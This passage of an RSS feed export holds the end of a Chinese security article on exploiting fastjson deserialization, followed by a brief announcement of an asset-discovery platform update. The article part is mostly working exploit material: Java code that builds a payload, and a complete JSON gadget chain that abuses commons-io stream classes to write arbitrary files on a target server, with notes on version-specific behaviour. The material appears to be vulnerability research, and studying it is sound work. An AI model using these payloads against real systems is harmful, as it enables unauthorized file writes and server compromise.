border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//                &#34;        \&#34;s\&#34;: {\n&#34; + //common io 2.2</span></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;@type\&#34;: \&#34;java.lang.String\&#34;\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;%1$s\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;charset\&#34;: \&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;bufferSize\&#34;: 1\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        },\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        \&#34;branch\&#34;: {\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;@type\&#34;: \&#34;org.apache.commons.io.output.WriterOutputStream\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;writer\&#34;: {\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;            \&#34;@type\&#34;: \&#34;org.apache.commons.io.output.LockableFileWriter\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;            \&#34;file\&#34;: \&#34;%2$s\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;            \&#34;charset\&#34;: \&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> + </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//&gt;=2.7</span></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;            \&#34;encoding\&#34;: \&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> + </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//&lt;=2.6</span></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;            \&#34;append\&#34;: false\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          },\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(139, 148, 158);"><span leaf="">//                &#34;          \&#34;decoder\&#34;: {\&#34;@type\&#34;:\&#34;com.alibaba.fastjson.util.UTF8Decoder\&#34;},\n&#34; +</span></span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;charset\&#34;:\&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;charsetName\&#34;:\&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;bufferSize\&#34;: 1024,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;          \&#34;writeImmediately\&#34;: true\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        },\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;        \&#34;closeBranch\&#34;: true\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;      }\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;    },\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;include\&#34;:true,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;boms\&#34;:[{\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;                  \&#34;@type\&#34;: \&#34;org.apache.commons.io.ByteOrderMark\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;                  \&#34;charsetName\&#34;: \&#34;iso-8859-1\&#34;,\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;                  \&#34;bytes\&#34;:%3$s\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;                }],\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;  \&#34;x\&#34;:{\&#34;$ref\&#34;:\&#34;$.xxx.bOM\&#34;}\n&#34;</span></span><span leaf=""> +</span><span leaf=""><br/></span><span leaf="">                </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;}}&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">return</span></span><span leaf=""> String.format(payload,hexString,target,Arrays.toString(array));</span><span leaf=""><br/></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">public</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">static</span></span><span leaf=""> String </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">bytesToHexString</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">byte</span></span><span leaf="">[] bytes)</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">StringBuilder</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">hexString</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">=</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">new</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(210, 168, 255);"><span leaf="">StringBuilder</span></span><span leaf="">();</span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">for</span></span><span leaf=""> (</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">byte</span></span><span leaf=""> b : bytes) {</span><span leaf=""><br/></span><span leaf="">            hexString.append(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;\\x&#34;</span></span><span leaf="">).append(String.format(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;%02x&#34;</span></span><span leaf="">, b));</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(255, 123, 114);"><span leaf="">return</span></span><span leaf=""> hexString.toString();</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果反序列化点存在期望类也可以改成下面这样，虽然报错但是不影响文件的写入</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  &#34;dd&#34;:{</span><span leaf=""><br/></span><span leaf="">  &#34;@type&#34;:&#34;java.util.Currency&#34;,</span><span leaf=""><br/></span><span leaf="">  &#34;val&#34;:{</span><span leaf=""><br/></span><span leaf="">  &#34;currency&#34;:{</span><span leaf=""><br/></span><span leaf="">  &#34;w&#34;:{</span><span leaf=""><br/></span><span leaf="">    &#34;@type&#34;:&#34;java.lang.AutoCloseable&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;@type&#34;:&#34;org.apache.commons.io.input.BOMInputStream&#34;,</span><span leaf=""><br/></span><span leaf="">    &#34;delegate&#34;:{</span><span leaf=""><br/></span><span leaf="">      &#34;@type&#34;: &#34;org.apache.commons.io.input.AutoCloseInputStream&#34;,</span><span leaf=""><br/></span><span leaf="">      &#34;in&#34;: {</span><span leaf=""><br/></span><span leaf="">        &#34;@type&#34;: &#34;org.apache.commons.io.input.TeeInputStream&#34;,</span><span leaf=""><br/></span><span leaf="">        &#34;input&#34;: {</span><span leaf=""><br/></span><span leaf="">          &#34;@type&#34;: &#34;org.apache.commons.io.input.CharSequenceInputStream&#34;,</span><span leaf=""><br/></span><span leaf="">          &#34;cs&#34;: {</span><span leaf=""><br/></span><span leaf="">            &#34;@type&#34;: &#34;java.lang.String&#34;</span><span leaf=""><br/></span><span leaf="">            &#34;\xff&#34;,</span><span leaf=""><br/></span><span leaf="">            &#34;charset&#34;: &#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">            &#34;bufferSize&#34;: 1</span><span leaf=""><br/></span><span leaf="">          },</span><span leaf=""><br/></span><span leaf="">          &#34;branch&#34;: {</span><span leaf=""><br/></span><span leaf="">            &#34;@type&#34;: &#34;org.apache.commons.io.output.WriterOutputStream&#34;,</span><span leaf=""><br/></span><span leaf="">            &#34;writer&#34;: {</span><span leaf=""><br/></span><span leaf="">              &#34;@type&#34;: &#34;org.apache.commons.io.output.LockableFileWriter&#34;,</span><span leaf=""><br/></span><span leaf="">              &#34;file&#34;: &#34;/tmp/1.jpg&#34;,</span><span leaf=""><br/></span><span leaf="">              &#34;encoding&#34;: &#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">              &#34;charset&#34;: &#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">              &#34;append&#34;: false</span><span leaf=""><br/></span><span leaf="">            },</span><span leaf=""><br/></span><span leaf="">            &#34;charset&#34;:&#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">            &#34;charsetName&#34;:&#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">            &#34;bufferSize&#34;: 1024,</span><span leaf=""><br/></span><span leaf="">            &#34;writeImmediately&#34;: true</span><span leaf=""><br/></span><span leaf="">          },</span><span leaf=""><br/></span><span leaf="">          &#34;closeBranch&#34;: true</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">      },</span><span leaf=""><br/></span><span leaf="">    &#34;include&#34;:true,</span><span leaf=""><br/></span><span leaf="">    &#34;boms&#34;:[{</span><span leaf=""><br/></span><span leaf="">                    &#34;@type&#34;: &#34;org.apache.commons.io.ByteOrderMark&#34;,</span><span leaf=""><br/></span><span leaf="">                    &#34;charsetName&#34;: &#34;iso-8859-1&#34;,</span><span leaf=""><br/></span><span leaf="">                    &#34;bytes&#34;:[0, 0,0]</span><span leaf=""><br/></span><span leaf="">                  }]</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">另外一点需要注意的是 写二进制文件版本commons-io版本需要&gt;2.4，这是因为fastjson在选取构造方法时存在随机性，通过笔者尝试</span><span leaf=""><br/></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">org.apache.commons.io.output.WriterOutputStream</span></code><span leaf=""><br/></span><span leaf="">构造方法顺序与commons-io版本有很大关系，似乎在2.4及之前的版本中带有CharsetDecoder类型参数的方法始终是第一个获取到的</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这就导致我们要写二进制文件的话需要构造出iso-8859-1 的CharsetDecoder，笔者经过尝试未能构造出</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">最后</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">1、以上均为笔者通过学习各位师傅的经验并进一步研究的结果，如有错误还请指正。</span><span leaf=""><br/></span><span leaf="">2、因笔者精力有限，以上payload测试大部分是在1.2.68版本，其他版本可能会有不同结果，如有不同的结果还请指正。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">参考</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">[1]GeekCon 2024 SpringBoot之殇(<a href="https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)" target="_blank">https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)</a></span><span leaf=""><br/></span><span leaf="">[2] Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(<a href="https://paper.seebug.org/1698/#3commons-io)" target="_blank">https://paper.seebug.org/1698/#3commons-io)</a></span><span leaf=""><br/></span><span leaf="">[3] 原创 | 网鼎杯ezjava利用分析(</span><a title="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect" href="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(87, 107, 149);text-decoration: none;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;" href="https://mp.weixin.qq.com/s?__biz=MzI4Mzc0MTI0Mw==&amp;mid=2247496817&amp;idx=1&amp;sn=6344acf0dcba7da936e7b02c213abb87&amp;scene=21#wechat_redirect"><span leaf="">https://mp.weixin.qq.com/s/GEGPpQ_1nflO_w4cefB-xA</span></a><span leaf="">)</span></p><p><span leaf=""><br/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(183, 110, 121);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf=""><br/></span></h2><p><span leaf=""><br/></span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486066">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c718388c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486066%26idx%3D1%26sn%3D25021413b4ca3be4037ea3819ff12bdc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Mar 2025 13:48:00 +0800</pubDate>
    </item>
    <item>
      <title>Firefly-SRC资产探测平台新版更新</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486061&amp;idx=1&amp;sn=c8b9c5b6b773ff1782be53a3d940e903</link>
      <description>更新速览增加收藏查询条件功能增加消息推送功能增加添加公司功能增加公益列表首页优化网站列表页优化调整积分功能查</description>
      <content:encoded><![CDATA[<p>
<span>Young</span> <span>2024-08-05 09:50</span> <span style="display: inline-block;">北京</span>
</p>

<p>更新速览增加收藏查询条件功能增加消息推送功能增加添加公司功能增加公益列表首页优化网站列表页优化调整积分功能查</p>
<p></p>



<p>
